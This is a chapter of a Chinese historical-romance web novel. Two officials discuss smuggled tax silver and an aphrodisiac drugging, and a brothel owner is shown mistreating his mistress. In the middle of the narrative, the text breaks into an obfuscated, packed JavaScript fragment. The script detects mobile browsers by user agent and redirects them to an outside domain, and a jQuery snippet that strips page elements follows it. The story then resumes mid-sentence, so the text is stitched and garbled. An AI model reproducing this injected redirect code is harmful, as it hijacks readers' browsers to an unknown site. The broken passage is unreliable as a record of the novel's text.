28. [锁] 该章节由作者自行锁定

作品:《上京启示录

    她怀着一种忐忑的、一种难以言表的羞耻感走进官属,东张西望,庆幸自己没有在哪个拐角或者人群里偶遇张谨之。


    她现在还不太想见到他,尽管她有很重要的话要同他说。


    “宝珠,哦忘了,小王大人。”一个胖胖的穿着青袍官服的男子走上前,笑着朝宝珠打招呼。


    “钱大人。”宝珠拾起笑容回应他。


    两人一道朝着上值的大堂走去。


    钱大人:“你今日为何来的这样晚?”


    宝珠在心里暗暗朝自己翻了个白眼,为什么?还不是怕来早了遇到张谨之嘛!她整理着自己的官袍大袖,假笑了一番回他,“今日起晚了嘛,你不也来晚了?我看你是从外头进来的。”


    “我老早就来了好吧?”钱大人撇撇嘴,有些不高兴,“谁知道上面发什么疯,今早一来突然通知外调我到临安去,我这才跑出去通知我的随从回家收拾东西。”


    宝珠十分震惊,“外调去临安?为何?”


    “针对江南一带新修的税法需要推行普及,加之我钱家本家就在临安府,估计是个原因。”


    “新修的税法?我怎么不知道。”


    “这税法是针对江南百姓新修的。这几年国库空虚,那片相较其他地方要富庶些,上头才想了这么个法子去贴补国库。本也不是什么机密,只不过早在两三年前就开始修订,大家这才慢慢淡忘,派我去也能理解,就是不知道为何这样突然。”钱大人摸了摸脖子上白胖的肥肉,惆怅道:“哎,我才刚新婚半年,这一走又不知要多久,真是舍不得我那如花似玉的娘子。”


    宝珠宽慰他两句,心中却嘀咕这事怕没那么简单。


    这事确实不简单,可选择钱大人外调去临安的原因倒是十分简单。不外乎因为张谨之知道了是钱大人给宝珠喝了那杯美人春后,实在气得牙痒痒。


    可怜钱大人只是一心被那春秋楼的娘子刺激到了,为了不让人看轻才奢侈一把买了杯美人春,至于美人春的作用他真的一概不知。


    傍晚下值,宝珠再三思索还是走到了张谨之的办公书房前,她必须要把那件事情告诉他。


    天色半阴半沉,乌云渐渐密布在头顶遮蔽日光,官属里的人几乎走完了,偌大的院子空荡荡的,只有她一人站在紧闭的书房门前,面色凝重,大大的官袍灌满了阴潮的冷风,袍角袖子不断向后翻飞。


    天似乎要下雨了。


    她望向屋内透出的点点烛光,一咬牙,推开了门。


    见宝珠进来张谨之不免有些震惊,“你……何事?”问完便低下头批阅手上的公务。


    宝珠往屋外仔细检查了半天,确定外头没人注意后才关上门走到张谨之的书案前。


    张谨之听着她一番动静,心里暗暗打鼓。


    宝珠:“张大人”


    张谨之:“昨晚的事并非我冲动,其实是”


    宝珠:“是有人策划的,我清楚,但我此番并不是因为此事找你,我有十分重要的事要告诉你。”


    张谨之猛然抬头,正好对上宝珠那异常坚定的目光。


    宝珠压低声音继续说:“你还记得刘良说的王氏联合临安官府私收赋税吗?”


    张谨之眯起眼睛,眸光锐利,认真等着她下面的话。


    “我那时就猜测此事与江南另一富商江氏定然脱不了干系,昨日我在春秋楼偶然间看到春秋楼的东家江白里的家书,上面提到私收的赋税已全部运往上京城内。”


    “你可知自己在说什么?”张谨之语气严厉。


    “我当然知道,事关我王氏一族我岂会在这里同你开玩笑?”王宝珠略一颦眉,心道这人不相信她,她提高了些音量继续说:“我当时就躲在江白里的书房里,亲耳听到他们谈论搬运什么东西,他们走后我无意中发现了那封家书。”


    “你是说,他们搬运的东西是从临安偷运过来的赋税?”


    “十有八九就是。他们定然是想趁着花朝节人多眼杂来遮掩搬运的事实,可我昨日绕着楼里楼外找了许久都未曾发现有何痕迹,唯独楼下那只暗门有些可疑。”


    后面发生了什么,宝珠说到此便不再继续说下去,她偷瞟了眼书案后的人,那人也不自觉地低下头。


    张谨之:“我知道了,我会派人查探此事。”


    “嗯。你记得要将此事告知给老师,看他老人家有什么想法。”


    “嗯,你可以回去了。”


    “好。”


    宝珠后退两步,转身前又细细瞧了眼张谨之,见他只是低沉着脸,盯着烛台上的火光不知想了什么。


    算了,宝珠压下心底的话不再多说,一转身推开了门。


    木门猛得推开,扑簌簌的凉风细语顷刻间倒灌入屋,将开门之人从头到脚淋了个透。


    宝珠无语,气得想跺脚。


    “这雨怎么说下就下。”她不高兴地努努嘴,紧跟着后退两步,站在门后拍打袍子上的雨水。


    张谨之:“外头下雨了?”


    宝珠:“嗯。这下怎么走吧,我可没带伞。”


    张谨之余光扫了眼靠在书案底下的一把褐色油纸伞,又抬头看向宝珠。


    木门大开,宝珠正面向屋外愈来愈大的春雨发愁,灰蒙蒙的日光从那方窄小的门框投射到屋内,照亮了门后女子那截端正挺拔的腰身。


    那腰身与昨夜在榻上挣扎的女子腰肢慢慢重合,手上顿时生起一丝温热的触觉,直至脑海里被那明媚的脸庞全部占据。


    雨打落叶,在耳边噼噼啪啪地作响。张谨之渐渐回过神,他吹灭烛台上昏暗的火苗,顺手拿起那把油纸伞走了过去。


    视线被一伞阴影遮住,宝珠疑惑抬头,发现竟然是张谨之撑着一把油纸伞走到了她的旁边。


    张谨之目视前方,低沉悦耳的嗓音对她说道:“我也只有一把伞,和我一道走吧。”


    “嗯,谢谢。”


    听着谢谢两字,张谨之心头泛出几分酸楚,缓步走入春雨之中。


    宝珠抬腿跟上。


    通往宣武门的官道上没有其他人,只一褐色油纸伞下绯青二色,肩臂相触,两人在雨中慢步前行。凉风伴着细雨从侧面簌簌吹来,张谨之将伞微微斜侧向宝珠,忽而开口道:“昨夜之事”


    “昨夜之事不是你的错,我很清楚。”


    张谨之眉心轻颦却未说话。


    “你走之后,我在窗下发现些灰烬,像是什么香烧完后落下的,还有些淡淡的香味。我将那些灰烬包在帕子里带出去找了一家医馆给大夫看过。”宝珠一顿,接着缓缓说道:“大夫说那是能使人意乱情迷的燃情香。你我中了旁人的道,乱了心智才做出那种事情。”


    张谨之依旧不语,事实上他有些心虚。他昨夜因那猛然入鼻的茉莉花香回了心智,本可以早点停下,可他还是情欲上脑差点就……若不是后来宝珠及时出声叫醒他,恐怕现在早已铸成大错。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032582|157016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >说到底,理智的不是他张谨之而是宝珠。


    “你不在意?”张谨之没理她的话,反问道。


    “我不在意。只是,怕江小姐知道后不高兴。”


    张谨之轻哼一声,冷冷回了句:“你倒是有心。”


    “不过,你可知是谁会对你我做出这样的事情?”


    天色晦暗,雨雾缭绕。倾斜的油纸伞让张谨之的半边脸落了些雨,雨水将他一双锐利如炬的眸子微微洇湿,他眯着眼看路,朦胧的雨雾里他看到了一张笑里藏刀的脸。


    那是太子的脸。


    良久,他才说话:“不知。”


    ——


    瑶琳坊,春秋楼。


    忙碌了一天的江老板靠在书案后那张圈椅上休息,书案前,闻娘正一面打着算盘一面给他口述花朝节全部的盈利收入。


    “啪,啪,啪……”算盘上的算珠子在闻娘的几根纤细玉手中灵活搅动,噼里啪啦声清脆悦耳。


    “入楼木牌收入共计一万三千两。”


    “付费类目诸如厢房、包间、美人春等收入共计九千两。”


    “免费酒水共计去掉一千两,人工食材等共计去掉一千两,总收入共计两万两。再刨除献给殿下的六成收入,咱们共计盈利为八千两。”


    江老板看向案上的家书,目光停留在黄纸信封上的几条皱痕上,眉心轻皱了皱,有些不满。


    “咱们辛辛苦苦累了这么一通,大头全给她拿去了?”


    说罢,他把目光又转移到闻娘脸上,并没有过多在意信封上那几条不知何时弄出的皱痕。


    闻娘放下手里的算盘,朝面前的老男人妩媚一笑,“哎哟,江老板别生气嘛!想开点,若没有殿下在背地里坐镇,哪轮的到我们赚钱呢?”


    “哼!”江老板猛得站起身,在书案旁来回踱步,“老子赚钱是老子有能耐,她倒好,来来回回叫我们干了这么多掉脑袋的事,反过来还要问我们拿钱?”


    闻娘走到老男人面前,用胸口那呼之欲出的春光挡住了他的视线,她一面将牵起老男人的手放入自己白嫩嫩的胸里,一面安抚道:“江老板消消气嘛!北境的生意也要靠殿下说话才能做,那可是一笔不小的收入。”


    江老板像是在思考什么,眼神涣散,但手下动作不轻,捏得闻娘微微皱眉。


    半晌,他捏够了,一把推开闻娘,像是不吃这一套,脸上表情扭曲起来,威胁道:“别以为我不知道你背地里去见过那女人,你可别忘了你是谁的人?若是叫我发现你做了什么背叛我的事,可别怪我狠心。”


    闻娘被他推倒在地板上,吓得连忙匍匐着跪到他的脚边,双手扑在地上,一面磕头一面哭哭凄凄的,脸上的胭脂都哭花了,“唔……冤枉啊,江郎你知道我是爱你的,我怎么会背叛你,唔唔唔……殿下唤我过去只是想让我多找几个称她心意的面首,我绝不会做出背叛你的事,唔唔唔……”


    跪在地上的女人还在轻声啜泣,江白里慢慢蹲下,面不改色看着眼前那张花容失色却又楚楚可人的脸,他伸手抬起了她的下巴,幽幽吐出几个字:“最好如此。”


    他把目光从闻娘的脸上移开,闻娘手边那块地板上几滴醒目的红烛泪却突然吸引了他的注意。


    他用手捻起一点磨搓,恍惚间像是想到了什么,大步跨到书案前,视线扫了眼烛台上的红烛接着转向烛台旁的那封家书。


    黄纸信封上的皱痕便再次落入到他的眼睛里。